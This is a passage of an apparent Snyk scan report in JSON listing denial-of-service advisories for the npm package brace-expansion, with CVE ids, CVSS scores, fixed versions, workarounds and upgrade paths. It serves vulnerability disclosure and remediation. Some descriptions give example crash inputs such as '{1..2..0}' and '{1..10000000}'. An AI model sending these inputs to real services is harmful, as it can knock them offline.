Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround 